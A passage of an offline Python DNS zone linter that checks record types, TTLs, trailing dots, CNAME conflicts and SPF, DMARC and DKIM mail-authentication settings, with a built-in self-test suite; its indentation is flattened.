ns_apex = [r for r in by_name.get(origin, []) if r.type == "NS"]
if not ns_apex:
add(findings, "MEDIUM", "NS_MISSING", 0, "@", "NS", "no NS records at the apex")
elif len(ns_apex) == 1:
add(findings, "MEDIUM", "NS_SINGLE", ns_apex[0].line, "@", "NS", "only one name server: if it is down, the whole domain is down")
if not have_ttl:
add(findings, "LOW", "NO_DEFAULT_TTL", 0, "", "", "no $TTL directive; records without a TTL fall back to the SOA minimum or the server default")
for r in recs:
ttl = r.ttl if r.ttl is not None else default_ttl
if ttl is None:
continue
nm = short(r.name, origin)
if ttl > 2147483647:
add(findings, "HIGH", "TTL_INVALID", r.line, nm, r.type, f"TTL {ttl} is above 2147483647")
elif ttl > 604800:
add(findings, "MEDIUM", "TTL_TOO_HIGH", r.line, nm, r.type, f"TTL {ttl} s ({ttl // 86400} days): a wrong value stays cached that long")
elif ttl < 60 and not r.name.startswith("_acme-challenge."):
add(findings, "MEDIUM", "TTL_TOO_LOW", r.line, nm, r.type, f"TTL {ttl} s: extra query load, slower lookups, and many resolvers raise it anyway")
# owner names that repeat the origin
for r in recs:
if fmt == "zone" and r.raw_name not in (None, "@") and not r.raw_name.endswith(".") and \
(r.raw_name.lower() == base or r.raw_name.lower().endswith("." + base)):
add(findings, "HIGH", "OWNER_DOUBLED_ORIGIN", r.line, r.raw_name, r.type, f"owner '{r.raw_name}' has no trailing dot, so it becomes {r.name}")
# CNAME rules
for n, rs in by_name.items():
cn = [r for r in rs if r.type == "CNAME"]
if not cn:
continue
nm = short(n, origin)
if n == origin:
add(findings, "HIGH", "CNAME_AT_APEX", cn[0].line, nm, "CNAME", "CNAME at the zone apex conflicts with the SOA and NS records there; mail and other lookups break")
others = sorted({r.type for r in rs if r.type not in ("CNAME",) and r.type not in DNSSEC_TYPES})
if others and n != origin:
add(findings, "HIGH", "CNAME_WITH_OTHER_DATA", cn[0].line, nm, "CNAME", f"name has a CNAME and also {', '.join(others)}; resolvers return only the CNAME")
if len(cn) > 1:
add(findings, "HIGH", "MULTIPLE_CNAME", cn[1].line, nm, "CNAME", f"{len(cn)} CNAME records for one name")
# targets
for r in recs:
if r.type not in TARGET_TYPES or not r.rdata:
continue
idx = TARGET_TYPES[r.type]
if r.type == "MX" and len(r.rdata) < 2 or r.type == "SRV" and len(r.rdata) < 4:
add(findings, "HIGH", "PARSE_ERROR", r.line, short(r.name, origin), r.type, f"{r.type} needs " + ("preference and host" if r.type == "MX" else "priority weight port target"))
continue
raw = r.rdata[idx] if idx >= 0 else r.rdata[-1]
nm = short(r.name, origin)
if r.type == "MX" and raw == ".":
continue
try:
ipaddress.ip_address(raw.rstrip("."))
add(findings, "HIGH", "TARGET_IS_IP", r.line, nm, r.type, f"{r.type} target '{raw}' is an IP address; {r.type} must name a host")
continue
except ValueError:
pass
tgt = absname(raw, origin)
if fmt == "zone" and raw != "@" and not raw.endswith("."):
low = raw.lower()
if low == base or low.endswith("." + base):
add(findings, "HIGH", "MISSING_TRAILING_DOT", r.line, nm, r.type, f"'{raw}' has no trailing dot, so it means {absname(raw, origin)}")
tgt = low + "." # check the name that was meant
elif "." in low and low.rsplit(".", 1)[1] in COMMON_TLDS:
add(findings, "MEDIUM", "MAYBE_MISSING_TRAILING_DOT", r.line, nm, r.type, f"'{raw}' looks like a full host name but has no trailing dot, so it means {absname(raw, origin)}")
tgt = low + "."
if in_zone(tgt):
tt = types_at(tgt)
if r.type in ("MX", "NS", "SRV") and "CNAME" in tt:
code = {"MX": "MX_TO_CNAME", "NS": "NS_TO_CNAME", "SRV": "MX_TO_CNAME"}[r.type]
add(findings, "HIGH", code, r.line, nm, r.type, f"{r.type} target {short(tgt, origin)} is a CNAME (not allowed, RFC 2181 10.3)")
elif r.type == "CNAME" and "CNAME" in tt:
add(findings, "LOW", "CNAME_CHAIN", r.line, nm, r.type, f"CNAME to {short(tgt, origin)}, which is itself a CNAME")
elif not tt:
# wildcard or a deeper/glue name may exist elsewhere; only flag when no wildcard covers it
wild = "*." + tgt.split(".", 1)[1] if "." in tgt else ""
if wild not in by_name:
add(findings, "MEDIUM", "DANGLING_TARGET", r.line, nm, r.type, f"{r.type} target {short(tgt, origin)} has no records in this zone")
elif r.type == "MX" and not (tt & {"A", "AAAA"}):
add(findings, "MEDIUM", "MX_TARGET_NO_ADDRESS", r.line, nm, r.type, f"mail host {short(tgt, origin)} has no A/AAAA record")
else:
externals.setdefault(tgt, []).append(f"{nm} {r.type} (line {r.line})")
# addresses
for r in recs:
if r.type not in ("A", "AAAA") or not r.rdata:
continue
nm = short(r.name, origin)
try:
ip = ipaddress.ip_address(r.rdata[0])
except ValueError:
add(findings, "HIGH", "BAD_ADDRESS", r.line, nm, r.type, f"'{r.rdata[0]}' is not an IP address")
continue
if (r.type == "A") != (ip.version == 4):
add(findings, "HIGH", "WRONG_ADDRESS_FAMILY", r.line, nm, r.type, f"{r.type} record holds an IPv{ip.version} address")
elif any(ip in n for n in INTERNAL_NETS if n.version == ip.version):
add(findings, "MEDIUM", "PRIVATE_ADDRESS", r.line, nm, r.type, f"{ip} is a private/loopback address; outside users cannot reach it and it reveals internal layout")
# duplicates
seen = {}
for r in recs:
key = (r.name, r.type, " ".join(x.lower() for x in r.rdata))
if key in seen:
add(findings, "LOW", "DUPLICATE_RECORD", r.line, short(r.name, origin), r.type, f"same as line {seen[key]}")
else:
seen[key] = r.line
# TXT string length (zone files only: each quoted string max 255)
if fmt == "zone":
for r in recs:
if r.type in ("TXT", "SPF"):
for s in txt_strings(r):
if len(s.encode()) > 255:
add(findings, "HIGH", "TXT_STRING_TOO_LONG", r.line, short(r.name, origin), r.type, f"one quoted string is {len(s.encode())} bytes (max 255); the server rejects the zone or truncates it")
break
# mail: MX, SPF, DMARC, DKIM
txt_by_name = {}
for r in recs:
if r.type == "TXT":
txt_by_name.setdefault(r.name, []).append((r, "".join(txt_strings(r))))
for r in recs:
if r.type == "SPF":
add(findings, "LOW", "SPF_TYPE99", r.line, short(r.name, origin), "SPF", "SPF-type (99) record is obsolete and ignored")
spf_at = {}
for n, items in txt_by_name.items():
for r, s in items:
if re.match(r"(?i)v=spf1(\s|$)", s):
spf_at.setdefault(n, []).append((r, s))
if re.match(r"(?i)v=dmarc1", s) and not n.startswith("_dmarc."):
add(findings, "HIGH", "DMARC_WRONG_NAME", r.line, short(n, origin), "TXT", "DMARC record is not at _dmarc.<domain>, so receivers never see it")
if re.match(r"(?i)v=dkim1", s) and "._domainkey." not in "." + n:
add(findings, "HIGH", "DKIM_WRONG_NAME", r.line, short(n, origin), "TXT", "DKIM key is not under <selector>._domainkey, so signatures cannot be verified")
for n, items in spf_at.items():
nm = short(n, origin)
if len(items) > 1:
add(findings, "HIGH", "SPF_MULTIPLE", items[1][0].line, nm, "TXT", f"{len(items)} v=spf1 records at this name (lines {', '.join(str(i[0].line) for i in items)})")
for r, s in items:
check_spf(findings, r, s, nm)
mx_names = {}
for r in recs:
if r.type == "MX" and len(r.rdata) >= 2:
mx_names.setdefault(r.name, []).append(r)
for n, mxs in mx_names.items():
nulls = [r for r in mxs if r.rdata[1] == "."]
if nulls and len(mxs) > 1:
add(findings, "HIGH", "NULL_MX_WITH_OTHERS", nulls[0].line, short(n, origin), "MX", "null MX ('0 .') next to other MX records")
apex_mx = [r for r in mx_names.get(origin, []) if r.rdata[1] != "."]
apex_null = any(r.rdata[1] == "." for r in mx_names.get(origin, []))
apex_spf = spf_at.get(origin, [])
spf_sends = any(not re.fullmatch(r"(?i)v=spf1\s+-all", s.strip()) for _, s in apex_spf)
sends_mail = bool(apex_mx) or spf_sends
for n, mxs in mx_names.items():
if any(r.rdata[1] != "." for r in mxs) and n not in spf_at:
add(findings, "MEDIUM", "SPF_MISSING", mxs[0].line, short(n, origin), "TXT", "name receives mail (MX) but publishes no SPF record")
if apex_null and apex_spf and spf_sends:
add(findings, "LOW", "NULL_MX_SPF_NOT_FAIL", apex_spf[0][0].line, "@", "TXT", "null MX says no mail, but SPF still authorizes senders")
if apex_null and not apex_spf:
add(findings, "LOW", "NULL_MX_SPF_NOT_FAIL", 0, "@", "TXT", "null MX but no \"v=spf1 -all\"")
dm = [(r, s) for r, s in txt_by_name.get("_dmarc." + origin, []) if re.match(r"(?i)v=dmarc1", s.strip()) or "p=" in s.lower()]
dkim_names = [n for n in by_name if n.endswith("._domainkey." + origin)]
if sends_mail or apex_null:
if not dm:
add(findings, "MEDIUM", "DMARC_MISSING", 0, "_dmarc", "TXT", "no DMARC record: receivers cannot tell spoofed mail from yours, and Gmail/Yahoo require DMARC for bulk senders")
if dm:
if len(dm) > 1:
add(findings, "HIGH", "DMARC_MULTIPLE", dm[1][0].line, "_dmarc", "TXT", f"{len(dm)} DMARC records")
for r, s in dm:
check_dmarc(findings, r, s)
if sends_mail and not dkim_names:
add(findings, "MEDIUM", "DKIM_NOT_FOUND", 0, "*._domainkey", "TXT", "no <selector>._domainkey record: if you send mail, it is probably unsigned (checked only names in this file)")
for n in dkim_names:
for r in by_name[n]:
if r.type == "TXT":
check_dkim(findings, r, "".join(txt_strings(r)), short(n, origin))
if not sends_mail and not apex_null and not apex_spf:
add(findings, "LOW", "NO_MAIL_POLICY", 0, "@", "MX", "no MX and no SPF: if this domain never sends mail, say so, or spammers can spoof it freely")
has_web = any(r.type in ("A", "AAAA", "CNAME", "ALIAS", "ANAME") for r in recs)
if has_web and "CAA" not in types_at(origin):
add(findings, "LOW", "CAA_MISSING", 0, "@", "CAA", "no CAA record: any public CA may issue certificates for this domain")
order = {s: i for i, s in enumerate(reversed(SEVERITIES))}
findings.sort(key=lambda f: (f["line"] if f["line"] else 10 ** 6, order[f["severity"]], f["code"]))
return {"origin": origin, "format": fmt, "records": len(recs), "findings": findings,
"external_targets": [{"target": t, "used_by": u} for t, u in sorted(externals.items())]}
def check_spf(findings, r, s, nm):
terms = s.split()[1:]
lookups, seen_all = 0, None
for i, t in enumerate(terms):
q = t[0] if t[0] in "+-~?" else ""
body = t[len(q):].lower()
mech = re.split(r"[:=/]", body, maxsplit=1)[0]
if seen_all is not None and not body.startswith("exp="):
add(findings, "MEDIUM", "SPF_TERMS_AFTER_ALL", r.line, nm, "TXT", f"'{t}' comes after 'all' and is ignored")
seen_all = None
if mech == "all":
if q in ("", "+"):
add(findings, "HIGH", "SPF_PASS_ALL", r.line, nm, "TXT", f"'{t}' authorizes every server on the internet to send as this domain")
elif q == "?":
add(findings, "MEDIUM", "SPF_NEUTRAL_ALL", r.line, nm, "TXT", "'?all' is neutral: unauthorized senders are not marked")
seen_all = i
continue
if mech in ("include", "exists"):
if ":" not in body or not body.split(":", 1)[1]:
add(findings, "HIGH", "SPF_SYNTAX", r.line, nm, "TXT", f"'{t}' needs a domain ({mech}:example.net)")
lookups += 1
elif mech in ("a", "mx"):
lookups += 1
elif mech == "ptr":
lookups += 1
add(findings, "LOW", "SPF_PTR", r.line, nm, "TXT", "'ptr' is deprecated (RFC 7208 5.5)")
elif mech in ("ip4", "ip6"):
val = body.split(":", 1)[1] if ":" in body else ""
try:
net = ipaddress.ip_network(val, strict=False)
if (mech == "ip4") != (net.version == 4):
raise ValueError
except ValueError:
add(findings, "HIGH", "SPF_SYNTAX", r.line, nm, "TXT", f"'{t}' is not a valid {mech} address or range")
elif mech == "redirect":
lookups += 1
if "=" not in body:
add(findings, "HIGH", "SPF_SYNTAX", r.line, nm, "TXT", f"'{t}': use redirect=domain")
elif mech == "exp":
pass
else:
add(findings, "HIGH", "SPF_SYNTAX", r.line, nm, "TXT", f"unknown SPF term '{t}' (typo? e.g. ipv4: for ip4:, include= for include:)")
if not any(re.sub(r"^[+\-~?]", "", t).lower() == "all" for t in terms) and not any(t.lower().startswith("redirect=") for t in terms):
add(findings, "MEDIUM", "SPF_NO_ALL", r.line, nm, "TXT", "record has no 'all' or redirect=, so unlisted senders get a neutral result")
if lookups > 10:
add(findings, "HIGH", "SPF_TOO_MANY_LOOKUPS", r.line, nm, "TXT", f"{lookups} DNS-lookup terms at the top level alone (limit 10, RFC 7208 4.6.4); receivers return permerror")
elif lookups >= 8:
add(findings, "LOW", "SPF_LOOKUPS_NEAR_LIMIT", r.line, nm, "TXT", f"{lookups} lookup terms before counting nested includes (limit 10)")
def check_dmarc(findings, r, s):
tags = {}
parts = [p.strip() for p in s.split(";") if p.strip()]
if not parts or parts[0].replace(" ", "").upper() != "V=DMARC1":
add(findings, "HIGH", "DMARC_SYNTAX", r.line, "_dmarc", "TXT", "record must start with 'v=DMARC1;'")
for p in parts:
k, _, v = p.partition("=")
tags[k.strip().lower()] = v.strip()
p = tags.get("p", "").lower()
if p not in ("none", "quarantine", "reject"):
add(findings, "HIGH", "DMARC_SYNTAX", r.line, "_dmarc", "TXT", "missing or invalid p= (none, quarantine or reject); receivers ignore the record")
return
if p == "none":
add(findings, "LOW", "DMARC_MONITOR_ONLY", r.line, "_dmarc", "TXT", "p=none only monitors; spoofed mail is still delivered")
if "rua" not in tags:
add(findings, "LOW", "DMARC_NO_RUA", r.line, "_dmarc", "TXT", "no rua= address, so nobody sees the aggregate reports")
if tags.get("pct", "100").isdigit() and int(tags.get("pct", "100")) < 100:
add(findings, "LOW", "DMARC_PARTIAL_PCT", r.line, "_dmarc", "TXT", f"pct={tags['pct']}: the policy applies to only part of the failing mail")
def check_dkim(findings, r, s, nm):
tags = {}
for p in s.split(";"):
k, _, v = p.strip().partition("=")
if k:
tags[k.strip().lower()] = re.sub(r"\s+", "", v)
if "p" not in tags:
add(findings, "HIGH", "DKIM_BAD_KEY", r.line, nm, "TXT", "no p= tag: not a DKIM key record")
return
if tags["p"] == "":
add(findings, "MEDIUM", "DKIM_REVOKED", r.line, nm, "TXT", "p= is empty: this selector is revoked and mail signed with it fails DKIM")
return
try:
raw = base64.b64decode(tags["p"], validate=True)
except Exception:
add(findings, "HIGH", "DKIM_BAD_KEY", r.line, nm, "TXT", "p= is not valid base64 (stray quote, space or cut-off copy?)")
return
if tags.get("k", "rsa").lower() == "ed25519":
return
bits = rsa_bits(raw)
if bits is None:
add(findings, "HIGH", "DKIM_BAD_KEY", r.line, nm, "TXT", f"p= decodes to {len(raw)} bytes but is not an RSA public key (cut off?)")
elif bits < 1024:
add(findings, "HIGH", "DKIM_WEAK_KEY", r.line, nm, "TXT", f"RSA key is {bits} bits; keys under 1024 bits are rejected by receivers (RFC 8301)")
elif bits < 2048:
add(findings, "LOW", "DKIM_1024_KEY", r.line, nm, "TXT", f"RSA key is {bits} bits; 2048 is the current recommendation")
def der_read(b, i):
tag = b[i]; i += 1
ln = b[i]; i += 1
if ln & 0x80:
n = ln & 0x7F
ln = int.from_bytes(b[i:i + n], "big"); i += n
return tag, i, ln
def rsa_bits(raw):
"""Modulus size of an RSA SubjectPublicKeyInfo (or bare RSAPublicKey) in bits."""
try:
tag, i, ln = der_read(raw, 0)
if tag != 0x30:
return None
tag, j, l2 = der_read(raw, i)
if tag == 0x30: # SubjectPublicKeyInfo: algorithm, then BIT STRING
j += l2
tag, j, l3 = der_read(raw, j)
if tag != 0x03:
return None
j += 1 # unused-bits byte
tag, j, l4 = der_read(raw, j)
if tag != 0x30:
return None
tag, j, lm = der_read(raw, j)
elif tag == 0x02:
lm = l2
else:
return None
if tag != 0x02 or j + lm > len(raw):
return None
mod = raw[j:j + lm].lstrip(b"\x00")
return len(mod) * 8 if mod else None
except IndexError:
return None
def render(res, title, min_sev="LOW", ignore=()):
keep = [f for f in res["findings"] if SEVERITIES.index(f["severity"]) >= SEVERITIES.index(min_sev) and f["code"] not in ignore]
cnt = {s: sum(1 for f in keep if f["severity"] == s) for s in SEVERITIES}
out = [f"# DNS record lint: {title}", "",
f"Zone: {res['origin']} Format: {res['format']} Records: {res['records']} Findings: {len(keep)} (HIGH {cnt['HIGH']}, MEDIUM {cnt['MEDIUM']}, LOW {cnt['LOW']})", ""]
if keep:
out += ["| Sev | Code | Line | Name | Type | Problem | Fix |", "|---|---|---|---|---|---|---|"]
for f in keep:
out.append(f"| {f['severity']} | {f['code']} | {f['line'] or '-'} | {f['name'] or '-'} | {f['type'] or '-'} | {f['problem']} | {f['fix']} |")
else:
out.append("No findings.")
if res["external_targets"]:
out += ["", "## Out-of-zone targets to check live (no network calls were made)", "",
"| Target | Used by |", "|---|---|"]
for e in res["external_targets"]:
out.append(f"| {e['target']} | {'; '.join(e['used_by'])} |")
return "\n".join(out) + "\n", keep
def self_test():
Z = "$ORIGIN example.com.\n$TTL 3600\n@ IN SOA ns1 hostmaster 1 7200 900 1209600 300\n@ NS ns1\n@ NS ns2.example.net.\nns1 A 192.0.2.53\n"
MAIL = '@ MX 10 mail\nmail A 192.0.2.25\n@ TXT "v=spf1 mx -all"\n_dmarc TXT "v=DMARC1; p=reject; rua=mailto:d@example.com"\ns1._domainkey CNAME s1.dkim.example.net.\n@ CAA 0 issue "letsencrypt.org"\n'
k1024 = base64.b64encode(bytes.fromhex("30819f300d06092a864886f70d010101050003818d0030818902818100") + b"\xc1" + bytes(127) + bytes.fromhex("0203010001")).decode()
k512 = base64.b64encode(bytes.fromhex("305c300d06092a864886f70d0101010500034b003048024100") + b"\xc1" + bytes(63) + bytes.fromhex("0203010001")).decode()
def codes(text, **kw):
return [f["code"] for f in lint(text, **kw)["findings"]]
cases = [
("clean zone", Z + MAIL, lambda c: c == []),
("cname at apex", Z + MAIL + "@ CNAME shop.example.net.\n", lambda c: "CNAME_AT_APEX" in c),
("cname with other data", Z + MAIL + "www CNAME web.example.net.\nwww TXT \"x\"\n", lambda c: "CNAME_WITH_OTHER_DATA" in c),
("multiple cname", Z + MAIL + "www CNAME a.example.net.\nwww CNAME b.example.net.\n", lambda c: "MULTIPLE_CNAME" in c),
("mx to cname", Z + MAIL.replace("mail A 192.0.2.25", "mail CNAME mx.example.net."), lambda c: "MX_TO_CNAME" in c),
("ns to cname", Z.replace("ns1 A 192.0.2.53", "ns1 CNAME dns.example.net.") + MAIL, lambda c: "NS_TO_CNAME" in c),
("mx is ip", Z + MAIL.replace("MX 10 mail", "MX 10 192.0.2.25"), lambda c: "TARGET_IS_IP" in c),
("missing trailing dot", Z + MAIL + "www CNAME web.example.com\nweb A 192.0.2.80\n", lambda c: "MISSING_TRAILING_DOT" in c),
("maybe missing dot (outside name)", Z + MAIL + "shop CNAME shops.myshopify.com\n", lambda c: "MAYBE_MISSING_TRAILING_DOT" in c),
("owner doubled origin", Z + MAIL + "www.example.com A 192.0.2.80\n", lambda c: "OWNER_DOUBLED_ORIGIN" in c),
("relative target ok", Z + MAIL + "www CNAME web\nweb A 192.0.2.80\n", lambda c: c == []),
("dangling target", Z + MAIL + "www CNAME web\n", lambda c: "DANGLING_TARGET" in c),
("cname chain", Z + MAIL + "www CNAME web\nweb CNAME edge.example.net.\n", lambda c: "CNAME_CHAIN" in c),
("mx target no address", Z + MAIL.replace("mail A 192.0.2.25", "mail TXT \"x\""), lambda c: "MX_TARGET_NO_ADDRESS" in c),
("spf missing", Z + MAIL.replace('@ TXT "v=spf1 mx -all"\n', ""), lambda c: "SPF_MISSING" in c),
("spf multiple", Z + MAIL + '@ TXT "v=spf1 include:_spf.google.com ~all"\n', lambda c: "SPF_MULTIPLE" in c),
("spf +all", Z + MAIL.replace("mx -all", "mx +all"), lambda c: "SPF_PASS_ALL" in c),
("spf ?all", Z + MAIL.replace("mx -all", "mx ?all"), lambda c: "SPF_NEUTRAL_ALL" in c),
("spf no all", Z + MAIL.replace("mx -all", "mx"), lambda c: "SPF_NO_ALL" in c),
("spf terms after all", Z + MAIL.replace("mx -all", "-all mx"), lambda c: "SPF_TERMS_AFTER_ALL" in c),
("spf syntax typo", Z + MAIL.replace("mx -all", "ipv4:192.0.2.1 -all"), lambda c: "SPF_SYNTAX" in c),
("spf bad ip4", Z + MAIL.replace("mx -all", "ip4:300.1.1.1 -all"), lambda c: "SPF_SYNTAX" in c),
("spf too many lookups", Z + MAIL.replace("mx -all", " ".join(f"include:s{i}.example.net" for i in range(11)) + " -all"), lambda c: "SPF_TOO_MANY_LOOKUPS" in c),
("spf near limit", Z + MAIL.replace("mx -all", " ".join(f"include:s{i}.example.net" for i in range(8)) + " -all"), lambda c: "SPF_LOOKUPS_NEAR_LIMIT" in c and "SPF_TOO_MANY_LOOKUPS" not in c),
("spf ptr", Z + MAIL.replace("mx -all", "ptr -all"), lambda c: "SPF_PTR" in c),
("spf type99", Z + MAIL + '@ SPF "v=spf1 mx -all"\n', lambda c: "SPF_TYPE99" in c),
("split txt strings joined", Z + MAIL.replace('"v=spf1 mx -all"', '"v=spf1 mx " "-all"'), lambda c: c == []),
("txt string too long", Z + MAIL + '@ TXT "' + "a" * 300 + '"\n', lambda c: "TXT_STRING_TOO_LONG" in c),
("dmarc missing", Z + MAIL.replace('_dmarc TXT "v=DMARC1; p=reject; rua=mailto:d@example.com"\n', ""), lambda c: "DMARC_MISSING" in c),
("dmarc wrong name", Z + MAIL.replace("_dmarc TXT", "dmarc TXT"), lambda c: "DMARC_WRONG_NAME" in c and "DMARC_MISSING" in c),
("dmarc multiple", Z + MAIL + '_dmarc TXT "v=DMARC1; p=none"\n', lambda c: "DMARC_MULTIPLE" in c),
("dmarc no p", Z + MAIL.replace("p=reject; ", ""), lambda c: "DMARC_SYNTAX" in c),
("dmarc none + no rua + pct", Z + MAIL.replace("p=reject; rua=mailto:d@example.com", "p=none; pct=50"), lambda c: {"DMARC_MONITOR_ONLY", "DMARC_NO_RUA", "DMARC_PARTIAL_PCT"} <= set(c)),
("dkim not found", Z + MAIL.replace("s1._domainkey CNAME s1.dkim.example.net.\n", ""), lambda c: "DKIM_NOT_FOUND" in c),
("dkim revoked", Z + MAIL + 's2._domainkey TXT "v=DKIM1; k=rsa; p="\n', lambda c: "DKIM_REVOKED" in c),
("dkim bad base64", Z + MAIL + 's2._domainkey TXT "v=DKIM1; p=MIGf!!"\n', lambda c: "DKIM_BAD_KEY" in c),
("dkim 512-bit key", Z + MAIL + f's2._domainkey TXT "v=DKIM1; k=rsa; p={k512}"\n', lambda c: "DKIM_WEAK_KEY" in c),
("dkim 1024-bit key", Z + MAIL + f's2._domainkey TXT "v=DKIM1; k=rsa; p={k1024}"\n', lambda c: "DKIM_1024_KEY" in c),
("dkim wrong name", Z + MAIL + f's2.domainkey TXT "v=DKIM1; p={k1024}"\n', lambda c: "DKIM_WRONG_NAME" in c),
("null mx + spf -all, no mail checks", Z + '@ MX 0 .\n@ TXT "v=spf1 -all"\n_dmarc TXT "v=DMARC1; p=reject; rua=mailto:d@example.com"\n@ CAA 0 issue "letsencrypt.org"\n', lambda c: c == []),
("null mx with others", Z + MAIL + "@ MX 0 .\n", lambda c: "NULL_MX_WITH_OTHERS" in c),
("no mail policy", Z + '@ CAA 0 issue "letsencrypt.org"\n', lambda c: "NO_MAIL_POLICY" in c),
("ttl too low", Z + MAIL + "www 30 A 192.0.2.80\n", lambda c: "TTL_TOO_LOW" in c),
("acme ttl low ok", Z + MAIL + '_acme-challenge 30 TXT "token"\n', lambda c: c == []),
("ttl too high (units)", Z + MAIL + "www 2w A 192.0.2.80\n", lambda c: "TTL_TOO_HIGH" in c),
("no $TTL", Z.replace("$TTL 3600\n", "") + MAIL, lambda c: "NO_DEFAULT_TTL" in c),
("soa rname with @", Z.replace("hostmaster", "hostmaster@example.com.") + MAIL, lambda c: "SOA_RNAME_AT" in c),
("soa multi-line with comments", Z.replace("@ IN SOA ns1 hostmaster 1 7200 900 1209600 300", "@ IN SOA ns1 hostmaster (\n 2026103001 ; serial\n 7200 900 1209600\n 300 ) ; min") + MAIL, lambda c: c == []),
("single ns", Z.replace("@ NS ns2.example.net.\n", "") + MAIL, lambda c: "NS_SINGLE" in c),
("bad address", Z + MAIL + "www A 192.0.2.300\n", lambda c: "BAD_ADDRESS" in c),
("wrong family", Z + MAIL + "www AAAA 192.0.2.80\n", lambda c: "WRONG_ADDRESS_FAMILY" in c),
("private address", Z + MAIL + "intranet A 10.0.0.5\n", lambda c: "PRIVATE_ADDRESS" in c),
("duplicate record", Z + MAIL + "www A 192.0.2.80\nwww A 192.0.2.80\n", lambda c: "DUPLICATE_RECORD" in c),
("blank owner continues", Z + MAIL + "www A 192.0.2.80\n AAAA 2001:db8::80\n", lambda c: c == []),
("semicolon inside quotes kept", Z + MAIL.replace('"v=DMARC1; p=reject; rua=mailto:d@example.com"', '"v=DMARC1; p=reject; rua=mailto:d@example.com" ; comment'), lambda c: c == []),
("caa missing", Z + MAIL.replace('@ CAA 0 issue "letsencrypt.org"\n', ""), lambda c: c == ["CAA_MISSING"]),
("csv input", None, None),
("unterminated quote is input error", None, None),
]
passed = 0
for name, text, check in cases:
try:
if name == "csv input":
csvt = ("name,type,value,ttl,priority\n@,MX,mail.example.com,3600,10\nmail,A,192.0.2.25,3600,\n"
"@,TXT,v=spf1 include:_spf.google.com ~all,3600,\n@,TXT,v=spf1 mx -all,3600,\n"
"www.example.com,CNAME,example.com,300,\n@,CNAME,shop.example.net,300,\n")
res = lint(csvt, origin="example.com", fmt="csv")
c = [f["code"] for f in res["findings"]]
ok = {"SPF_MULTIPLE", "CNAME_AT_APEX", "DMARC_MISSING", "DKIM_NOT_FOUND"} <= set(c) and "MISSING_TRAILING_DOT" not in c and "MX_TO_CNAME" not in c
elif name == "unterminated quote is input error":
try:
lint(Z + '@ TXT "v=spf1 -all\n')
ok, c = False, "no error"
except InputError as e:
ok, c = True, str(e)
else:
c = codes(text)
ok = check(c)
except Exception as e: # noqa
ok, c = False, f"exception {e!r}"
passed += ok
print(("PASS " if ok else "FAIL ") + name + ("" if ok else f" got {c}"))
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Lint a DNS zone file or record list (offline)")
ap.add_argument("file", nargs="?")
ap.add_argument("--origin", help="zone name, e.g. example.com (default: $ORIGIN or the file name)")
ap.add_argument("--format", choices=["zone", "csv"], help="input format (default: by extension/content)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--min-severity", default="LOW", choices=SEVERITIES)
ap.add_argument("--ignore", default="", help="comma-separated finding codes to skip")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a zone file or CSV, or --self-test")
try:
with open(a.file, encoding="utf-8") as fh:
text = fh.read()
res = lint(text, origin=a.origin, fmt=a.format, filename=a.file)
except (OSError, InputError, UnicodeDecodeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
ignore = {c.strip().upper() for c in a.ignore.split(",") if c.strip()}
md, keep = render(res, os.path.basename(a.file), a.min_severity, ignore)
if a.json:
print(json.dumps({**res, "findings": keep}, indent=2))
else:
sys.stdout.write(md)
return 1 if any(f["severity"] == "HIGH" for f in keep) else 0
if __name__ == "__main__":
sys.exit(main())